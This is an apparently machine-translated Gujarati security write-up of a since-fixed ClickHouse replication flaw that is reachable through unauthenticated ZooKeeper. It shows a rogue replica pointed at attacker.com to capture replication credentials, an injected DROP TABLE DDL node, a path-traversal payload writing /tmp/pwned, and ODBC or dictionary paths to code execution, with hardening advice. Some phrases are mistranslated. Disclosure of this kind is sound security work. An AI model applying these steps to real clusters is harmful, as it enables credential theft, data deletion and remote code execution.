તમારે પ્રાણી સંગ્રહાલયના પાંજરા બંધ રાખવાની જરૂર કેમ છે?

આ લેખ ક્લિકહાઉસ રેપ્લિકેશન પ્રોટોકોલમાં ખૂબ જ ચોક્કસ નબળાઈની વાર્તા કહેશે, અને એ પણ બતાવશે કે હુમલાની સપાટીને કેવી રીતે વિસ્તૃત કરી શકાય છે.

ક્લિકહાઉસ એ ડેટાના મોટા જથ્થાને સંગ્રહિત કરવા માટેનો ડેટાબેઝ છે, મોટેભાગે એક કરતાં વધુ પ્રતિકૃતિનો ઉપયોગ કરે છે. ક્લિકહાઉસમાં ક્લસ્ટરિંગ અને પ્રતિકૃતિ ટોચ પર બનેલ છે અપાચે ઝૂકીપર (ZK) અને લખવાના અધિકારોની જરૂર છે.

ડિફૉલ્ટ ZK ઇન્સ્ટોલેશનને પ્રમાણીકરણની જરૂર નથી, તેથી કાફકા, હડુપ, ક્લિકહાઉસને ગોઠવવા માટે ઉપયોગમાં લેવાતા હજારો ZK સર્વર્સ સાર્વજનિક રૂપે ઉપલબ્ધ છે.

તમારી હુમલાની સપાટીને ઘટાડવા માટે, તમારે ZooKeeper ઇન્સ્ટોલ કરતી વખતે હંમેશા પ્રમાણીકરણ અને અધિકૃતતા ગોઠવવી જોઈએ.

અલબત્ત કેટલાક 0દિવસ આધારિત જાવા ડીસીરિયલાઈઝેશન છે, પરંતુ કલ્પના કરો કે હુમલાખોર ZooKeeper ને વાંચી અને લખી શકે છે, જેનો ઉપયોગ ClickHouse પ્રતિકૃતિ માટે થાય છે.

જ્યારે ક્લસ્ટર મોડમાં ગોઠવેલ હોય, ત્યારે ક્લિકહાઉસ વિતરિત ક્વેરીઝને સપોર્ટ કરે છે ડીડીએલ, ZK માંથી પસાર થવું - તેમના માટે શીટમાં ગાંઠો બનાવવામાં આવે છે /clickhouse/task_queue/ddl.

ઉદાહરણ તરીકે, તમે નોડ બનાવો /clickhouse/task_queue/ddl/query-0001 સામગ્રી સાથે:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

અને તે પછી, ટેસ્ટ ટેબલ ક્લસ્ટર સર્વર host1 અને host2 પરથી કાઢી નાખવામાં આવશે. DDL CREATE/ALTER/DROP ક્વેરીઝ ચલાવવાનું પણ સમર્થન કરે છે.

ડરામણી અવાજ? પરંતુ હુમલાખોરને સર્વર સરનામાં ક્યાંથી મળી શકે?

હાઉસ પ્રતિકૃતિ પર ક્લિક કરો વ્યક્તિગત કોષ્ટકોના સ્તર પર કાર્ય કરે છે, જેથી જ્યારે ZK માં કોષ્ટક બનાવવામાં આવે, ત્યારે સર્વર નિર્દિષ્ટ કરવામાં આવે છે જે પ્રતિકૃતિઓ સાથે મેટાડેટાની આપલે માટે જવાબદાર હશે. ઉદાહરણ તરીકે, વિનંતિ ચલાવતી વખતે (ZK રૂપરેખાંકિત હોવું આવશ્યક છે, chXX - પ્રતિકૃતિનું નામ, foobar - ટેબલ નામ):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

ગાંઠો બનાવવામાં આવશે કૉલમ и મેટાડેટા.

સામગ્રી /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

શું આ ક્લસ્ટરમાંથી ડેટા મર્જ કરવું શક્ય છે? હા, જો પ્રતિકૃતિ પોર્ટ (TCP/9009) સર્વર પર chXX-address ફાયરવોલ બંધ કરવામાં આવશે નહીં અને પ્રતિકૃતિ માટે પ્રમાણીકરણ રૂપરેખાંકિત કરવામાં આવશે નહીં. પ્રમાણીકરણને બાયપાસ કેવી રીતે કરવું?

હુમલાખોર ફક્ત તેમાંથી સમાવિષ્ટોની નકલ કરીને ZK માં નવી પ્રતિકૃતિ બનાવી શકે છે /clickhouse/tables/01-01/foobar/replicas/chXX અને અર્થ બદલી રહ્યા છે host.

સામગ્રી /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

પછી તમારે અન્ય પ્રતિકૃતિઓને કહેવાની જરૂર છે કે હુમલાખોરના સર્વર પર ડેટાનો એક નવો બ્લોક છે જે તેમને લેવાની જરૂર છે - ZK માં નોડ બનાવવામાં આવ્યો છે. /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX એકવિધ રીતે વધતું કાઉન્ટર, જે ઇવેન્ટ લોગમાં છેલ્લા એક કરતા વધારે હોવું જોઈએ):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

જ્યાં સ્ત્રોત_પ્રતિકૃતિ - અગાઉના પગલામાં બનાવેલ હુમલાખોરની પ્રતિકૃતિનું નામ, બ્લોક_આઈડી - ડેટા બ્લોક ઓળખકર્તા, મેળવવું - "ગેટ બ્લોક" આદેશ (અને અહીં અન્ય કામગીરી માટે આદેશો છે).

આગળ, દરેક પ્રતિકૃતિ લોગમાં એક નવી ઘટના વાંચે છે અને ડેટાનો બ્લોક મેળવવા હુમલાખોર દ્વારા નિયંત્રિત સર્વર પર જાય છે (પ્રતિકૃતિ પ્રોટોકોલ બાઈનરી છે, HTTP ની ટોચ પર ચાલે છે). સર્વર attacker.com વિનંતીઓ પ્રાપ્ત થશે:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

જ્યાં પ્રતિકૃતિ માટે XXX એ પ્રમાણીકરણ ડેટા છે. કેટલાક કિસ્સાઓમાં, આ મુખ્ય ક્લિકહાઉસ પ્રોટોકોલ અને HTTP પ્રોટોકોલ દ્વારા ડેટાબેઝની ઍક્સેસ ધરાવતું એકાઉન્ટ હોઈ શકે છે. જેમ તમે જોયું તેમ, હુમલાની સપાટી ગંભીર રીતે મોટી બની જાય છે કારણ કે પ્રતિકૃતિ માટે ઉપયોગમાં લેવાતા ZooKeeper, પ્રમાણીકરણ રૂપરેખાંકિત કર્યા વિના છોડી દેવામાં આવ્યું હતું.

ચાલો પ્રતિકૃતિમાંથી ડેટાના બ્લોક મેળવવાના કાર્યને જોઈએ, તે સંપૂર્ણ વિશ્વાસ સાથે લખવામાં આવ્યું છે કે બધી પ્રતિકૃતિઓ યોગ્ય નિયંત્રણ હેઠળ છે અને તેમની વચ્ચે વિશ્વાસ છે.

પ્રતિકૃતિ પ્રક્રિયા કોડ

ફંક્શન ફાઇલોની સૂચિ વાંચે છે, પછી તેમના નામ, કદ, સમાવિષ્ટો, અને પછી તેમને ફાઇલ સિસ્ટમ પર લખે છે. ફાઇલ સિસ્ટમમાં ડેટા કેવી રીતે સંગ્રહિત થાય છે તેનું અલગથી વર્ણન કરવું યોગ્ય છે.

માં ઘણી બધી સબડિરેક્ટરીઝ છે /var/lib/clickhouse (રૂપરેખાંકન ફાઇલમાંથી મૂળભૂત સંગ્રહ નિર્દેશિકા):

ફ્લેગ્સ - રેકોર્ડિંગ માટે ડિરેક્ટરી ધ્વજ, ડેટા ગુમાવ્યા પછી પુનઃપ્રાપ્તિમાં વપરાય છે;
tmp - અસ્થાયી ફાઇલોને સંગ્રહિત કરવા માટેની ડિરેક્ટરી;
user_files — વિનંતીઓમાં ફાઇલો સાથેની કામગીરી આ નિર્દેશિકા સુધી મર્યાદિત છે (INTO OUTFILE અને અન્ય);
મેટાડેટા - કોષ્ટક વર્ણનો સાથે sql ફાઇલો;
preprocessed_configs - માંથી પ્રોસેસ્ડ ડેરિવેટિવ રૂપરેખાંકન ફાઇલો /etc/clickhouse-server;
માહિતી - ડેટા સાથેની વાસ્તવિક ડિરેક્ટરી, આ કિસ્સામાં દરેક ડેટાબેઝ માટે એક અલગ સબડિરેક્ટરી અહીં સરળ રીતે બનાવવામાં આવી છે (ઉદાહરણ તરીકે /var/lib/clickhouse/data/default).

દરેક કોષ્ટક માટે, ડેટાબેઝ ડિરેક્ટરીમાં સબડિરેક્ટરી બનાવવામાં આવે છે. દરેક કૉલમ પર આધાર રાખીને એક અલગ ફાઇલ છે એન્જિન ફોર્મેટ. ઉદાહરણ તરીકે, ટેબલ માટે foobarહુમલાખોર દ્વારા બનાવેલ, નીચેની ફાઇલો બનાવવામાં આવશે:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

પ્રતિકૃતિ ડેટાના બ્લોકની પ્રક્રિયા કરતી વખતે સમાન નામોની ફાઇલો પ્રાપ્ત કરવાની અપેક્ષા રાખે છે અને તેને કોઈપણ રીતે માન્ય કરતી નથી.

સચેત વાચકે કદાચ પહેલાથી જ ફંક્શનમાં file_name ના અસુરક્ષિત જોડાણ વિશે સાંભળ્યું હશે WriteBufferFromFile. હા, આ હુમલાખોરને વપરાશકર્તા અધિકારો સાથે FS પર કોઈપણ ફાઇલમાં મનસ્વી સામગ્રી લખવાની મંજૂરી આપે છે clickhouse. આ કરવા માટે, હુમલાખોર દ્વારા નિયંત્રિત પ્રતિકૃતિએ વિનંતીનો નીચેનો પ્રતિસાદ પરત કરવો આવશ્યક છે (સમજવાની સરળતા માટે લાઇન બ્રેક્સ ઉમેરવામાં આવ્યા છે):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

અને જોડાણ પછી ../../../../../../../../../tmp/pwned ફાઇલ લખવામાં આવશે /tmp/pwned સામગ્રી સાથે હેલોફ્રોમઝૂકીપર.

ફાઇલ લખવાની ક્ષમતાને રિમોટ કોડ એક્ઝિક્યુશન (RCE) માં ફેરવવા માટે ઘણા વિકલ્પો છે.

RCE માં બાહ્ય શબ્દકોશો

જૂના સંસ્કરણોમાં, ક્લિકહાઉસ સેટિંગ્સ સાથેની ડિરેક્ટરી વપરાશકર્તા અધિકારો સાથે સંગ્રહિત હતી ક્લિકહાઉસ મૂળભૂત સેટિંગ્સ ફાઇલો XML ફાઇલો છે જે સેવા સ્ટાર્ટઅપ સમયે વાંચે છે અને પછી કેશ કરે છે /var/lib/clickhouse/preprocessed_configs. જ્યારે ફેરફારો થાય છે, ત્યારે તે ફરીથી વાંચવામાં આવે છે. જો તમારી પાસે ઍક્સેસ હોય /etc/clickhouse-server હુમલાખોર પોતાનું સર્જન કરી શકે છે બાહ્ય શબ્દકોશ એક્ઝિક્યુટેબલ પ્રકાર અને પછી મનસ્વી કોડ ચલાવો. ક્લિકહાઉસના વર્તમાન સંસ્કરણો મૂળભૂત રીતે અધિકારો પ્રદાન કરતા નથી, પરંતુ જો સર્વર ધીમે ધીમે અપડેટ કરવામાં આવે, તો આવા અધિકારો રહી શકે છે. જો તમે ક્લિકહાઉસ ક્લસ્ટરને સપોર્ટ કરી રહ્યાં છો, તો સેટિંગ્સ ડિરેક્ટરીના અધિકારો તપાસો, તે વપરાશકર્તાના હોવા જોઈએ root.

ODBC થી RCE

પેકેજ ઇન્સ્ટોલ કરતી વખતે, વપરાશકર્તા બનાવવામાં આવે છે clickhouse, પરંતુ તેની હોમ ડિરેક્ટરી બનાવવામાં આવી નથી /nonexistent. જો કે, બાહ્ય શબ્દકોશોનો ઉપયોગ કરતી વખતે, અથવા અન્ય કારણોસર, સંચાલકો ડિરેક્ટરી બનાવે છે /nonexistent અને વપરાશકર્તાને આપો clickhouse તેના પર લખવાની ઍક્સેસ (SSZB! આશરે અનુવાદક).

ક્લિકહાઉસ સપોર્ટ કરે છે ઓડીબીસી અને અન્ય ડેટાબેઝ સાથે જોડાઈ શકે છે. ODBC માં, તમે ડેટાબેઝ ડ્રાઇવર લાઇબ્રેરી (.so) નો પાથ સ્પષ્ટ કરી શકો છો. ClickHouse ના જૂના સંસ્કરણોએ તમને સીધા વિનંતી હેન્ડલરમાં આ કરવાની મંજૂરી આપી હતી, પરંતુ હવે કનેક્શન સ્ટ્રિંગની વધુ કડક તપાસ ઉમેરવામાં આવી છે. odbc-bridge, તેથી વિનંતીમાંથી ડ્રાઇવર પાથનો ઉલ્લેખ કરવાનું હવે શક્ય નથી. પરંતુ શું હુમલાખોર ઉપર વર્ણવેલ નબળાઈનો ઉપયોગ કરીને હોમ ડિરેક્ટરીમાં લખી શકે છે?

ચાલો એક ફાઈલ બનાવીએ ~/.odbc.ini આના જેવી સામગ્રી સાથે:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

પછી સ્ટાર્ટઅપ પર SELECT * FROM odbc('DSN=lalala', 'test', 'test'); પુસ્તકાલય લોડ કરવામાં આવશે test.so અને RCE પ્રાપ્ત કર્યું (આભાર બગલોક ટીપ માટે).

આ અને અન્ય નબળાઈઓને ClickHouse આવૃત્તિ 19.14.3 માં ઠીક કરવામાં આવી છે. તમારા ક્લિકહાઉસ અને ઝૂકીપર્સની કાળજી લો!

સોર્સ: www.habr.com